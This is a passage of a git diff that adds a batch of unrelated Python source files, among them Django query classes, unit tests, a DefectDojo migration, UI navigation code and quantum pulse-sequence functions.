/dev/null +++ b/pool/shard008/Python/0077997_graph.py @@ -0,0 +1,32 @@ +import numpy as np + +from .abstract_model import Model + + +class Graph(Model): + + def __init__(self, input_shape, nodes, connectivity): + super().__init__(input_shape) + self.nodes = nodes # some iterable containing Model instances (Layerstacks and/or Graphs) + self.conn = connectivity # 0/1 matrix defining connectivity vs timestep + + def feedforward(self, X): + for mask in self.conn: + X = np.concatenate( + [node.feedforward(X) for ix, node in enumerate(self.nodes) if ix in mask] + ) + return X + + @property + def outshape(self): + return self.nodes[-1].outshape + + @property + def nparams(self): + return sum(node.num_params for node in self.nodes) + + def get_weights(self, unfold=True): + return [] + + def set_weights(self, fold=True): + pass diff --git a/pool/shard008/Python/0077998_DE_tuning_setup.py b/pool/shard008/Python/0077998_DE_tuning_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..b3add74a6ba27989f6e4f88bbcfacdec73806414 --- /dev/null +++ b/pool/shard008/Python/0077998_DE_tuning_setup.py @@ -0,0 +1,45 @@ +from DE_code import DE_opt, numpy +from optTune import get_F_vals_at_specified_OFE_budgets + +def Ros_ND(x) : + "gerneralised Rossenbrock function" + return sum([100*(x[ii+1]-x[ii]**2)**2 + (1-x[ii])**2 for ii in range(len(x)-1)]) +prob_d = 6 + +def run_DE_on_Ros_ND(CPV_tuple, OFE_budgets, randomSeed): + X_min, f_best_hist, X_hist, F_hist = DE_opt( + objfun = Ros_ND, + x_lb = -5.0 * numpy.ones(prob_d), + x_ub = 5.0 * numpy.ones(prob_d), + Np = int(CPV_tuple[0]), + Cr = CPV_tuple[1], + F = CPV_tuple[2], + evals = max(OFE_budgets), + printLevel=0 + ) + F = numpy.array(f_best_hist) + OFEs_made = int(CPV_tuple[0])*numpy.arange(1,len(X_hist)+1) + return get_F_vals_at_specified_OFE_budgets(F, OFEs_made, OFE_budgets) + +def CPV_validity_checks(CPV_array, OFE_budget): + 'check tuning constraints' + N, Cr, F = CPV_array + if OFE_budget < N : + return False, 'OFE_budget < N' + if N < 5: + return False, 'N < 5' + if Cr < 0 or Cr > 1 : + return False, 'Cr not in [0,1]' + if F < 0: + return False, 'F < 0' + return True, "" + +#initilization bounds +CPV_lb = numpy.array([ 5, 0.0, 0.0 ]) +CPV_ub = numpy.array([ 50, 1.0, 1.0 ]) + +OFE_budgets_to_tune_under = numpy.logspace(1,3,30).astype(int) + +sampleSizes = [2,8,20] + +tuningBudget = 50*1000*30 # tuning budget is equvialent of assessing 50 CPV tuples upto 1000 OFEs using 30 resampling runs each diff --git a/pool/shard008/Python/0078002_subqueries.py b/pool/shard008/Python/0078002_subqueries.py new file mode 100644 index 0000000000000000000000000000000000000000..1cb9aa93572ad008f5bbf46a974834ccf32c57dd --- /dev/null +++ b/pool/shard008/Python/0078002_subqueries.py @@ -0,0 +1,192 @@ +""" +Query subclasses which provide extra functionality beyond simple data retrieval. +""" + +from django.core.exceptions import FieldError +from django.db import connections +from django.db.models.query_utils import Q +from django.db.models.sql.constants import ( + CURSOR, GET_ITERATOR_CHUNK_SIZE, NO_RESULTS, +) +from django.db.models.sql.query import Query + +__all__ = ['DeleteQuery', 'UpdateQuery', 'InsertQuery', 'AggregateQuery'] + + +class DeleteQuery(Query): + """A DELETE SQL query.""" + + compiler = 'SQLDeleteCompiler' + + def do_query(self, table, where, using): + self.alias_map = {table: self.alias_map[table]} + self.where = where + cursor = self.get_compiler(using).execute_sql(CURSOR) + return cursor.rowcount if cursor else 0 + + def delete_batch(self, pk_list, using): + """ + Set up and execute delete queries for all the objects in pk_list. + + More than one physical query may be executed if there are a + lot of values in pk_list. + """ + # number of objects deleted + num_deleted = 0 + field = self.get_meta().pk + for offset in range(0, len(pk_list), GET_ITERATOR_CHUNK_SIZE): + self.where = self.where_class() + self.add_q(Q( + **{field.attname + '__in': pk_list[offset:offset + GET_ITERATOR_CHUNK_SIZE]})) + num_deleted += self.do_query(self.get_meta().db_table, self.where, using=using) + return num_deleted + + def delete_qs(self, query, using): + """ + Delete the queryset in one SQL query (if possible). For simple queries + this is done by copying the query.query.where to self.query, for + complex queries by using subquery. + """ + innerq = query.query + # Make sure the inner query has at least one table in use. + innerq.get_initial_alias() + # The same for our new query. + self.get_initial_alias() + innerq_used_tables = tuple([t for t in innerq.alias_map if innerq.alias_refcount[t]]) + if not innerq_used_tables or innerq_used_tables == tuple(self.alias_map): + # There is only the base table in use in the query. + self.where = innerq.where + else: + pk = query.model._meta.pk + if not connections[using].features.update_can_self_select: + # We can't do the delete using subquery. + values = list(query.values_list('pk', flat=True)) + if not values: + return 0 + return self.delete_batch(values, using) + else: + innerq.clear_select_clause() + innerq.select = [ + pk.get_col(self.get_initial_alias()) + ] + values = innerq + self.where = self.where_class() + self.add_q(Q(pk__in=values)) + cursor = self.get_compiler(using).execute_sql(CURSOR) + return cursor.rowcount if cursor else 0 + + +class UpdateQuery(Query): + """An UPDATE SQL query.""" + + compiler = 'SQLUpdateCompiler' + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self._setup_query() + + def _setup_query(self): + """ + Run on initialization and after cloning. Any attributes that would + normally be set in __init__ should go in here, instead, so that they + are also set up after a clone() call. + """ + self.values = [] + self.related_ids = None + self.related_updates = {} + + def clone(self, klass=None, **kwargs): + return super().clone(klass, related_updates=self.related_updates.copy(), **kwargs) + + def update_batch(self, pk_list, values, using): + self.add_update_values(values) + for offset in range(0, len(pk_list), GET_ITERATOR_CHUNK_SIZE): + self.where = self.where_class() + self.add_q(Q(pk__in=pk_list[offset: offset + GET_ITERATOR_CHUNK_SIZE])) + self.get_compiler(using).execute_sql(NO_RESULTS) + + def add_update_values(self, values): + """ + Convert a dictionary of field name to value mappings into an update + query. This is the entry point for the public update() method on + querysets. + """ + values_seq = [] + for name, val in values.items(): + field = self.get_meta().get_field(name) + direct = not (field.auto_created and not field.concrete) or not field.concrete + model = field.model._meta.concrete_model + if not direct or (field.is_relation and field.many_to_many): + raise FieldError( + 'Cannot update model field %r (only non-relations and ' + 'foreign keys permitted).' % field + ) + if model is not self.get_meta().model: + self.add_related_update(model, field, val) + continue + values_seq.append((field, model, val)) + return self.add_update_fields(values_seq) + + def add_update_fields(self, values_seq): + """ + Append a sequence of (field, model, value) triples to the internal list + that will be used to generate the UPDATE query. Might be more usefully + called add_update_targets() to hint at the extra information here. + """ + for field, model, val in values_seq: + if hasattr(val, 'resolve_expression'): + # Resolve expressions here so that annotations are no longer needed + val = val.resolve_expression(self, allow_joins=False, for_save=True) + self.values.append((field, model, val)) + + def add_related_update(self, model, field, value): + """ + Add (name, value) to an update query for an ancestor model. + + Update are coalesced so that only one update query per ancestor is run. + """ + self.related_updates.setdefault(model, []).append((field, None, value)) + + def get_related_updates(self): + """ + Return a list of query objects: one for each update required to an + ancestor model. Each query will have the same filtering conditions as + the current query but will only update a single table. + """ + if not self.related_updates: + return [] + result = [] + for model, values in self.related_updates.items(): + query = UpdateQuery(model) + query.values = values + if self.related_ids is not None: + query.add_filter(('pk__in', self.related_ids)) + result.append(query) + return result + + +class InsertQuery(Query): + compiler = 'SQLInsertCompiler' + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.fields = [] + self.objs = [] + + def insert_values(self, fields, objs, raw=False): + self.fields = fields + self.objs = objs + self.raw = raw + + +class AggregateQuery(Query): + """ + Take another query as a parameter to the FROM clause and only select the + elements in the provided list. + """ + + compiler = 'SQLAggregateCompiler' + + def add_subquery(self, query, using): + query.subquery = True + self.subquery, self.sub_params = query.get_compiler(using).as_sql(with_col_aliases=True) diff --git a/pool/shard008/Python/0078003_test_rack_locations.py b/pool/shard008/Python/0078003_test_rack_locations.py new file mode 100644 index 0000000000000000000000000000000000000000..e88f4debbc69d548b3e6a4a43e8f4d76db6927f9 --- /dev/null +++ b/pool/shard008/Python/0078003_test_rack_locations.py @@ -0,0 +1,28 @@ +from unittest import TestCase + +from stojaki.scrapper import fetch_stojaki +from stojaki.rack_locations import locations +from stojaki.util import lazy + +__author__ = 'Maciej Bilas' + + +class TestRackLocations(TestCase): + @classmethod + def setUpClass(cls): + fetch_stojaki(update_if_already_exists=False) + pass + + @lazy + def rack_locations(self): + return locations() + + def test_parsing_actual_data_file(self): + self.assertGreater(len(self.rack_locations), 700) + + def test_parser_should_ignore_heading(self): + self.assertNotEqual(self.rack_locations[0].desc, "desc") + + def test_rack_location_should_match_suburb(self): + suburb = next(location.suburb for location in self.rack_locations if "Grójecka" in location.desc) + self.assertEqual(suburb.suburb_id, "ochota") diff --git a/pool/shard008/Python/0078006_SubGeographicalRegion.py b/pool/shard008/Python/0078006_SubGeographicalRegion.py new file mode 100644 index 0000000000000000000000000000000000000000..174b19656fbc7dd14e9d650ef195397b2f128664 --- /dev/null +++ b/pool/shard008/Python/0078006_SubGeographicalRegion.py @@ -0,0 +1,112 @@ +# Copyright (C) 2010-2011 Richard Lincoln +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to +# deal in the Software without restriction, including without limitation the +# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or +# sell copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS +# IN THE SOFTWARE. + +from CIM14.CDPSM.Balanced.IEC61970.Core.IdentifiedObject import IdentifiedObject + +class SubGeographicalRegion(IdentifiedObject): + """A subset of a geographical region of a power system network model. + """ + + def __init__(self, Region=None, Lines=None, Substations=None, *args, **kw_args): + """Initialises a new 'SubGeographicalRegion' instance. + + @param Region: The association is used in the naming hierarchy. + @param Lines: A Line can be contained by a SubGeographical Region. + @param Substations: The association is used in the naming hierarchy. + """ + self._Region = None + self.Region = Region + + self._Lines = [] + self.Lines = [] if Lines is None else Lines + + self._Substations = [] + self.Substations = [] if Substations is None else Substations + + super(SubGeographicalRegion, self).__init__(*args, **kw_args) + + _attrs = [] + _attr_types = {} + _defaults = {} + _enums = {} + _refs = ["Region", "Lines", "Substations"] + _many_refs = ["Lines", "Substations"] + + def getRegion(self): + """The association is used in the naming hierarchy. + """ + return self._Region + + def setRegion(self, value): + if self._Region is not None: + filtered = [x for x in self.Region.Regions if x != self] + self._Region._Regions = filtered + + self._Region = value + if self._Region is not None: + if self not in self._Region._Regions: + self._Region._Regions.append(self) + + Region = property(getRegion, setRegion) + + def getLines(self): + """A Line can be contained by a SubGeographical Region. + """ + return self._Lines + + def setLines(self, value): + for x in self._Lines: + x.Region = None + for y in value: + y._Region = self + self._Lines = value + + Lines = property(getLines, setLines) + + def addLines(self, *Lines): + for obj in Lines: + obj.Region = self + + def removeLines(self, *Lines): + for obj in Lines: + obj.Region = None + + def getSubstations(self): + """The association is used in the naming hierarchy. + """ + return self._Substations + + def setSubstations(self, value): + for x in self._Substations: + x.Region = None + for y in value: + y._Region = self + self._Substations = value + + Substations = property(getSubstations, setSubstations) + + def addSubstations(self, *Substations): + for obj in Substations: + obj.Region = self + + def removeSubstations(self, *Substations): + for obj in Substations: + obj.Region = None + diff --git a/pool/shard008/Python/0078010_347-top-k-frequent-elements.py b/pool/shard008/Python/0078010_347-top-k-frequent-elements.py new file mode 100644 index 0000000000000000000000000000000000000000..7fa37fdc0fc9fae06a26b5dca92a75c5bfa1fc0d --- /dev/null +++ b/pool/shard008/Python/0078010_347-top-k-frequent-elements.py @@ -0,0 +1,17 @@ +import collections + + +class Solution(object): + def topKFrequent(self, nums, k): + """ + :type nums: List[int] + :type k: int + :rtype: List[int] + """ + bucket = [[] for x in nums] + for key, freq in collections.Counter(nums).items(): + bucket[len(nums) - freq].append(key) + return reduce(lambda x, y: x + y, bucket)[:k] + +s = Solution() +print s.topKFrequent([1, 1, 2, 2, 1, 3], 2) diff --git a/pool/shard008/Python/0078013_daily_sku_performance_report.py b/pool/shard008/Python/0078013_daily_sku_performance_report.py new file mode 100644 index 0000000000000000000000000000000000000000..41476b12d58d990f07bc832865783e2b25db593a --- /dev/null +++ b/pool/shard008/Python/0078013_daily_sku_performance_report.py @@ -0,0 +1,67 @@ +from .regex import REGEX +from .base import BasicParser +from ..models import DailySkuPerformanceReportItem + +class DailySkuPerformanceReportParser(BasicParser): + TYPE = "daily-sku-performance-report" + FIRST_REGEX = REGEX.join([ + "Start Date", + "End Date", + "Merchant Name", + "SKU", + "Clicks", + "Impressions", + "CTR", + "Currency", + "Total Spend", + "Avg\. CPC" + ], '\t') + LINE_REGEX = REGEX.join([ + REGEX.datetime, + REGEX.datetime, + REGEX.string_with_space, + REGEX.sku, + REGEX.integer, + REGEX.integer, + REGEX.float, + REGEX.currency, + REGEX.float, + REGEX.string + ], '\t') + #LINE_REGEX = r"(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2} [A-Z]{3})\t(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2} [A-Z]{3})\t([_a-zA-Z 0-9\-]*)\t([A-Z0-9]*)\t(\d+)\t(\d+)\t(\d+\.\d{2,})\t([A-Z]{3})\t(\d+\.\d{2})\t(\S+)" + + + def process_validated_line(self, line, match): + """ + Create a DailySkuPerformanceReportItem + """ + item = { + "report_id": self.report.id, + "start_date": match.group(1), + "end_date": match.group(2), + "merchant_name": match.group(3), + "sku": match.group(4), + "clicks": int(match.group(5)), + "impressions": int(match.group(6)), + "ctr": match.group(7), + "currency": match.group(8), + "total_spend": match.group(9), + "avg_cpc": match.group(10), + } + + self.insert_dict(item) + return + + item = DailySkuPerformanceReportItem() + item.report_id = self.report.id + item.start_date = match.group(1) + item.end_date = match.group(2) + item.merchant_name = match.group(3) + item.sku = match.group(4) + item.clicks = int(match.group(5)) + item.impressions = int(match.group(6)) + item.ctr = match.group(7) + item.currency = match.group(8) + item.total_spend = match.group(9) + item.avg_cpc = match.group(10) + item.save(self.session) diff --git a/pool/shard008/Python/0078015_testProjects.py b/pool/shard008/Python/0078015_testProjects.py new file mode 100644 index 0000000000000000000000000000000000000000..331c5375cf1512f91b445efab30d438033c34380 --- /dev/null +++ b/pool/shard008/Python/0078015_testProjects.py @@ -0,0 +1,25 @@ +from tests import testsSetup +testsSetup + +from paperThinRest.test.baseRestTestCase import BaseRestTestCase +class Test(BaseRestTestCase): + + def testCrud(self): + data = self.expect(status=201).post('/projects/',data={'title':'something'}).json + self.assertNotEqual(data.get('created'), None) + + data2 = self.expect(status=200).get('/projects/id1').jsonObject + self.assertEqual(data2.id,'id1') + + editedData = self.expect(status=200).post('/projects/id2',data={'title':'something'}).jsonObject + self.assertEqual(editedData.edited.title,'something') + + + + def testValidateSchema(self): + self.expect(status=400).post('/projects/',data={'title2':'something'}) + + + + + \ No newline at end of file diff --git a/pool/shard008/Python/0078016_search.py b/pool/shard008/Python/0078016_search.py new file mode 100644 index 0000000000000000000000000000000000000000..b9a0d32bab7404270014fae834c4b374c19c3614 --- /dev/null +++ b/pool/shard008/Python/0078016_search.py @@ -0,0 +1,34 @@ +class Search(object): + class Result(object): + def __init__(self, data): + if 'id' in data: + if data['id'].startswith('Art.'): + from rhapsody.models import artists + self.type = 'artist' + self.data = artists.Artists.List(data) + if data['id'].startswith('Alb.'): + from rhapsody.models import albums + self.type = 'album' + self.data = albums.Albums.List(data) + if data['id'].startswith('Tra.'): + from rhapsody.models import tracks + self.type = 'track' + self.data = tracks.Tracks.List(data) + else: + self.type = 'unknown' + self.data = None + + def __init__(self, api): + self._api = api + + def fulltext(self, query, content_type=None, limit=None, offset=None): + return self._api.get_list(Search.Result, 'search', limit, offset, params={ + 'q': query, + 'type': content_type + }) + + def typeahead(self, query, content_type=None, limit=None, offset=None): + return self._api.get_list(Search.Result, 'search/typeahead', limit, offset, params={ + 'q': query, + 'type': content_type + }) diff --git a/pool/shard008/Python/0078022_explorer.py b/pool/shard008/Python/0078022_explorer.py new file mode 100644 index 0000000000000000000000000000000000000000..96a671cbe4693963bef37f23434a9a7fcb34d31e --- /dev/null +++ b/pool/shard008/Python/0078022_explorer.py @@ -0,0 +1,169 @@ +import attr +from navmazing import NavigateToAttribute +from navmazing import NavigateToSibling +from widgetastic.widget import Text +from widgetastic.widget import View +from widgetastic_patternfly import Dropdown + +from cfme.base import Server +from cfme.base.login import BaseLoggedInPage +from cfme.modeling.base import BaseCollection +from cfme.modeling.base import BaseEntity +from cfme.utils.appliance.implementations.ui import CFMENavigateStep +from cfme.utils.appliance.implementations.ui import navigator +from cfme.utils.version import Version +from cfme.utils.version import VersionPicker +from widgetastic_manageiq import Accordion +from widgetastic_manageiq import Button +from widgetastic_manageiq import ItemsToolBarViewSelector +from widgetastic_manageiq import ManageIQTree +from widgetastic_manageiq import Search + + +class TowerExplorerAccordion(View): + @View.nested + class providers(Accordion): # noqa + ACCORDION_NAME = 'Providers' + tree = ManageIQTree() + + @View.nested + class configured_systems(Accordion): # noqa + ACCORDION_NAME = 'Configured Systems' + tree = ManageIQTree() + + @View.nested + class job_templates(Accordion): # noqa + ACCORDION_NAME = VersionPicker({Version.lowest(): 'Job Templates', '5.10': 'Templates'}) + tree = ManageIQTree() + + +class TowerExplorerProviderToolbar(View): + reload = Button(title='Refresh this page') + configuration = Dropdown('Configuration') + policy = Dropdown('Policy') + download = Dropdown('Download') + view_selector = View.nested(ItemsToolBarViewSelector) + + +class TowerExplorerSystemJobTemplatesToolbar(View): + reload = Button(title='Refresh this page') + policy = Dropdown('Policy') + download = Dropdown('Download') + view_selector = View.nested(ItemsToolBarViewSelector) + + +class TowerExplorerView(BaseLoggedInPage): + title = Text("#explorer_title_text") + search = View.nested(Search) + sidebar = View.nested(TowerExplorerAccordion) + + @property + def in_tower_explorer(self): + return (self.logged_in_as_current_user and + self.navigation.currently_selected == ['Automation', 'Ansible Tower', 'Explorer']) + + +class TowerExplorerProvidersAllView(TowerExplorerView): + toolbar = View.nested(TowerExplorerProviderToolbar) + + @property + def is_displayed(self): + return ( + self.in_tower_explorer and + self.title.text == 'All Ansible Tower Providers' and + self.sidebar.providers.is_opened + ) + + +class TowerExplorerSystemsAllView(TowerExplorerView): + toolbar = View.nested(TowerExplorerSystemJobTemplatesToolbar) + + @property + def is_displayed(self): + return ( + self.in_tower_explorer and + self.title.text == 'All Ansible Tower Configured Systems' and + self.sidebar.configured_systems.is_opened + ) + + +class TowerExplorerJobTemplatesAllView(TowerExplorerView): + toolbar = View.nested(TowerExplorerSystemJobTemplatesToolbar) + + @property + def is_displayed(self): + return ( + self.in_tower_explorer and + self.title.text == VersionPicker({Version.lowest(): 'All Ansible Tower Job Templates', + '5.10': 'All Ansible Tower Templates'}).pick(self.browser.product_version) and + self.sidebar.job_templates.is_opened + ) + + +@attr.s +class AnsibleTowerProvider(BaseEntity): + pass + + +@attr.s +class AnsibleTowerProvidersCollection(BaseCollection): + ENTITY = AnsibleTowerProvider + + +@attr.s +class AnsibleTowerSystem(BaseEntity): + pass + + +@attr.s +class AnsibleTowerSystemsCollection(BaseCollection): + ENTITY = AnsibleTowerSystem + + +@attr.s +class AnsibleTowerJobTemplate(BaseEntity): + pass + + +@attr.s +class AnsibleTowerJobTemplatesCollection(BaseCollection): + ENTITY = AnsibleTowerJobTemplate + + +@navigator.register(Server, 'AnsibleTowerExplorer') +class AnsibleTowerExplorer(CFMENavigateStep): + VIEW = TowerExplorerProvidersAllView + prerequisite = NavigateToSibling('LoggedIn') + + def step(self, *args, **kwargs): + self.prerequisite_view.navigation.select('Automation', 'Ansible Tower', 'Explorer') + self.view.sidebar.providers.tree.click_path('All Ansible Tower Providers') + + +@navigator.register(AnsibleTowerProvidersCollection, 'All') +class AnsibleTowerExplorerProvidersAll(CFMENavigateStep): + VIEW = TowerExplorerProvidersAllView + prerequisite = NavigateToAttribute('appliance.server', 'AnsibleTowerExplorer') + + def step(self, *args, **kwargs): + self.view.sidebar.providers.tree.click_path('All Ansible Tower Providers') + + +@navigator.register(AnsibleTowerSystemsCollection, 'All') +class TowerExplorerSystemAll(CFMENavigateStep): + VIEW = TowerExplorerSystemsAllView + prerequisite = NavigateToAttribute('appliance.server', 'AnsibleTowerExplorer') + + def step(self, *args, **kwargs): + self.view.sidebar.configured_systems.tree.click_path('All Ansible Tower Configured Systems') + + +@navigator.register(AnsibleTowerJobTemplatesCollection, 'All') +class TowerExplorerJobTemplatesAll(CFMENavigateStep): + VIEW = TowerExplorerJobTemplatesAllView + prerequisite = NavigateToAttribute('appliance.server', 'AnsibleTowerExplorer') + + def step(self, *args, **kwargs): + self.view.sidebar.job_templates.tree.click_path(VersionPicker({Version.lowest(): + 'All Ansible Tower Job Templates', '5.10': 'All Ansible Tower Templates'}).pick( + self.view.browser.product_version)) diff --git a/pool/shard008/Python/0078023_setup.py b/pool/shard008/Python/0078023_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..86bc54335a051f0063790b456e4618a3eccf93a8 --- /dev/null +++ b/pool/shard008/Python/0078023_setup.py @@ -0,0 +1,33 @@ +from setuptools import setup, find_packages +from datetime import datetime +seconds = round((datetime.now() - datetime(2017, 5, 31)).total_seconds()) + + +requires = [] +with open('requirements.txt') as f: + requires = f.read().splitlines() + +setup( + name='scrolls', + version='0.0.'+str(seconds), + description='Log manager.', + url='https://github.com/ilogue/scrolls', + long_description='', + classifiers=[ + "Programming Language :: Python", + "Framework :: Pyramid", + "Topic :: Internet :: WWW/HTTP", + "Topic :: Internet :: WWW/HTTP :: WSGI :: Application", + ], + author='Jasper J.F. van den Bosch', + author_email='japsai@gmail.com', + packages=find_packages(), + include_package_data=True, + zip_safe=False, + install_requires=requires, + test_suite="test", + entry_points={ + 'console_scripts': ['scrolls=scrolls.entrypoint:main'], + 'paste.app_factory': ['main = scrolls.server:main'] + } +) diff --git a/pool/shard008/Python/0078025_add_var_geojson.py b/pool/shard008/Python/0078025_add_var_geojson.py new file mode 100644 index 0000000000000000000000000000000000000000..c58ffce3c7912ae427e860ff7a7dc5a155e167a3 --- /dev/null +++ b/pool/shard008/Python/0078025_add_var_geojson.py @@ -0,0 +1,48 @@ +# -*- encoding: utf-8 -*- + +### +### read JSON files from current directory and +### add : 'var file_name = ' at the very beginning +### for Leaflet to read it simply + +import json +import os + +from os import listdir +from os.path import isfile, join + + +### current directory +cwd = os.getcwd() +print cwd + +### list all files in current directory +files_ = [f for f in listdir(cwd) if isfile(join(cwd, f))] + +adresses_ = [] + +for file_ in files_: + local_file_adress = cwd+"/"+file_ + adress_list = [file_, local_file_adress ] + adresses_.append(adress_list) + + +### part to erase from file_name +to_subst = ".geo.json" + +for adress_ in adresses_ : + #open file + path_ = adress_[1] + file_name_ = adress_[0] + var_to_add = file_name_.replace(to_subst, "") + + to_append = "var "+ var_to_add +" = " + print to_append, "---", path_ + print + #data_in = open(path_, 'w') + with open(path_, 'r+') as f: + content = f.read() + f.seek(0, 0) + f.write(to_append + content) + f.close() + diff --git a/pool/shard008/Python/0078028_eslint.py b/pool/shard008/Python/0078028_eslint.py new file mode 100644 index 0000000000000000000000000000000000000000..4fbc578857096f794fb1ba7b718372ba9bea59c4 --- /dev/null +++ b/pool/shard008/Python/0078028_eslint.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +import glob +import os +import sys + +from lib.config import PLATFORM +from lib.util import execute + + +SOURCE_ROOT = os.path.abspath(os.path.dirname(os.path.dirname(__file__))) + + +def main(): + os.chdir(SOURCE_ROOT) + + # Skip eslint on our Windows build machine for now. + if PLATFORM == 'win32' and os.getenv('JANKY_SHA1'): + return + + eslint = os.path.join(SOURCE_ROOT, 'node_modules', '.bin', 'eslint') + if sys.platform in ['win32', 'cygwin']: + eslint += '.cmd' + settings = ['--quiet', '--config'] + + sourceConfig = os.path.join('script', 'eslintrc-base.json') + sourceFiles = ['lib'] + execute([eslint] + settings + [sourceConfig] + sourceFiles) + + specConfig = os.path.join('script', 'eslintrc-spec.json') + specFiles = glob.glob('spec/*.js') + execute([eslint] + settings + [specConfig] + specFiles) + + +if __name__ == '__main__': + sys.exit(main()) diff --git a/pool/shard008/Python/0078029_0109_group_user_role.py b/pool/shard008/Python/0078029_0109_group_user_role.py new file mode 100644 index 0000000000000000000000000000000000000000..18a81bf2f77e479a6efb97b7d6e2b21ca70827fb --- /dev/null +++ b/pool/shard008/Python/0078029_0109_group_user_role.py @@ -0,0 +1,32 @@ +# Generated by Django 3.1.12 on 2021-06-17 06:24 + +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + dependencies = [ + ('dojo', '0108_blank_fields'), + ] + + operations = [ + migrations.RemoveField( + model_name='dojo_group', + name='users', + ), + migrations.CreateModel( + name='Dojo_Group_User', + fields=[ + ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('dojo_group', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='dojo.dojo_group')), + ('role', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='dojo.role')), + ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='dojo.dojo_user')), + ], + ), + migrations.AddField( + model_name='dojo_group', + name='users', + field=models.ManyToManyField(blank=True, related_name='users', through='dojo.Dojo_Group_User', to='dojo.Dojo_User'), + ), + ] diff --git a/pool/shard008/Python/0078039_Decoupling.py b/pool/shard008/Python/0078039_Decoupling.py new file mode 100644 index 0000000000000000000000000000000000000000..39fd10f6ef0d72c8bf194b68f808327ccb42dd55 --- /dev/null +++ b/pool/shard008/Python/0078039_Decoupling.py @@ -0,0 +1,181 @@ +from ..PulsePrimitives import * +from ..Compiler import compile_to_hardware +from ..PulseSequencePlotter import plot_pulse_files +from .helpers import create_cal_seqs, delay_descriptor, cal_descriptor + +from typing import Iterable, Union + +def HahnEcho(qubit: Channels.LogicalChannel, + pulseSpacings: Iterable[Union[int, float]], + periods: int = 0, + calRepeats: int = 2, + showPlot: bool = False) -> str: + """ + A single pulse Hahn echo with variable phase of second pi/2 pulse. + + Parameters + ---------- + qubit : Channels.LogicalChannel + Logical channel to implement sequence + pulseSpacings : int iterable + Pulse spacings to sweep over; the t in 90-t-180-t-180 (iterable) + periods : int, optional + Number of artificial oscillations + calRepeats : int, optional + How many times to repeat calibration scalings (default 2) + showPlot : boolean, optional + Whether to plot + + Returns + ------- + metafile : string + Path to a json metafile with details about the sequences and paths + to compiled machine files + + Examples + -------- + >>> mf = HahnEcho(q1, np.linspace(20.0e-9, 200.02e-6, 101), periods=6); + Compiled 105 sequences. + >>> mf + '/path/to/exp/exp-meta.json' + """ + seqs = [] + for k in range(len(pulseSpacings)): + seqs.append([X90(qubit), Id(qubit, pulseSpacings[k]), \ + Y(qubit), Id(qubit,pulseSpacings[k]), \ + U90(qubit,phase=2*pi*periods/len(pulseSpacings)*k), MEAS(qubit)]) + +#Tack on the calibration scalings + seqs += create_cal_seqs((qubit, ), calRepeats) + + metafile = compile_to_hardware(seqs, 'Echo/Echo', + axis_descriptor=[ + delay_descriptor(2 * pulseSpacings), + cal_descriptor((qubit,), calRepeats) + ]) + + if showPlot: + plot_pulse_files(metafile) + return metafile + + +def CPMG(qubit: Channels.LogicalChannel, + numPulses: Iterable[int], + pulseSpacing: float, + calRepeats: int = 2, + showPlot: bool = False): + """ + CPMG pulse train with fixed pulse spacing. Note this pulse spacing is centre to centre, + i.e. it accounts for the pulse width + + Parameters + ---------- + qubit : Channels.LogicalChannel + Logical channel to implement sequence + numPulses : int iterable + Number of 180 pulses; should be even + pulseSpacing : float + Spacing between the 180's (seconds) + calRepeats : int, optional + How many times to repeat calibration scalings (default 2) + showPlot : bool, optional + Whether to plot (boolean) + + Returns + ------- + metafile : string + Path to a json metafile with details about the sequences and paths + to compiled machine files + + Examples + -------- + >>> mf = CPMG(q2, [2**n for n in range(8)], 20.0e-6); + Compiled 12 sequences. + >>> mf + '/path/to/exp/exp-meta.json' + """ + #First setup the t-180-t block + CPMGBlock = [Id(qubit, (pulseSpacing - qubit.pulse_params['length']) / 2), + Y(qubit), + Id(qubit, (pulseSpacing - qubit.pulse_params['length']) / 2)] + + seqs = [[X90(qubit)] + CPMGBlock * rep + [X90(qubit), MEAS(qubit)] + for rep in numPulses] + + #Tack on the calibration scalings + seqs += create_cal_seqs((qubit, ), calRepeats) + + metafile = compile_to_hardware(seqs, 'CPMG/CPMG', + axis_descriptor=[ + # NOTE: numPulses is often not a numpy array, so cannot multiply + # by a float. But thankfully, np.array(np.array) = np.array so + # this is always a good move here. + delay_descriptor(pulseSpacing * np.array(numPulses)), + cal_descriptor((qubit,), calRepeats) + ]) + + if showPlot: + plot_pulse_files(metafile) + return metafile + +def JAZZ(qubit: Channels.LogicalChannel, + spec_qubit: Channels.LogicalChannel, + pulseSpacings: Iterable[Union[int, float]], + periods: int = 0, + calRepeats: int = 2, + showPlot: bool = False) -> str: + """ + Implement a JAZZ sequence on a pair of coupled qubits. A Ramsey experiment + is run on the first qubit and pi pulses are toggled on the second. + + Parameters + ---------- + qubit : Channels.LogicalChannel + Logical channel to measure + spec_qubit : Channels.LogicalChannel + Logical channel to echo + pulseSpacings : int iterable + Pulse spacings to sweep over; the t in 90-t-180-t-180 (iterable) + periods : int, optional + Number of artificial oscillations + calRepeats : int, optional + How many times to repeat calibration scalings (default 2) + showPlot : boolean, optional + Whether to plot + 